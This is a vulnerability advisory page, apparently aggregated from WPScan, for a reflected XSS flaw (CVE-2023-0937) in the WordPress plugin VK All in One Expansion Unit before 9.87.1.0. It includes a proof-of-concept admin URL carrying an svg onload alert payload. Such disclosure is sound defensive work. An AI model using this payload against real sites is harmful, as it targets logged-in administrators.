Lucene search
WpvulndbWPEX-ID:5110FF02-C721-43EB-B13E-50ACA25E1162HistoryFeb 23, 2023 - 12:00 a.m.
VK All in One Expansion Unit < 9.87.1.0 - Reflected XSS
2023-02-2300:00:00
wpvulndb
56
vk all in one
expansion unit
reflected xss
exploit
admin
web browser
url
characters
web security
0.001 Low
EPSS
Percentile
35.4%
The plugin does not escape the $_SERVER[‘REQUEST_URI’] parameter before outputting it back in an attribute, which could lead to Reflected Cross-Site Scripting in old web browsers
Make a logged in admin open the below URL using web browser which does not encode characters
https://example.com/wp-admin/admin.php?page=vkExUnit_css_customize&b="><svg/onload=alert(/XSS/)>Related
prion
prion
Cross site scripting
2023-03-20 16:15:00
nvd
nvd
CVE-2023-0937
2023-03-20 16:15:12
cve
cve
CVE-2023-0937
2023-03-20 16:15:12
wpvulndb
wpvulndb
VK All in One Expansion Unit < 9.87.1.0 - Reflected XSS
2023-02-23 00:00:00
openvas
openvas
WordPress VK All in One Expansion Unit Plugin < 9.87.1.0 XSS Vulnerability
2023-10-16 00:00:00
cvelist
cvelist
CVE-2023-0937 VK All in One Expansion Unit < 9.87.1.0 - Reflected XSS
2023-03-20 15:52:18
wordfence
wordfence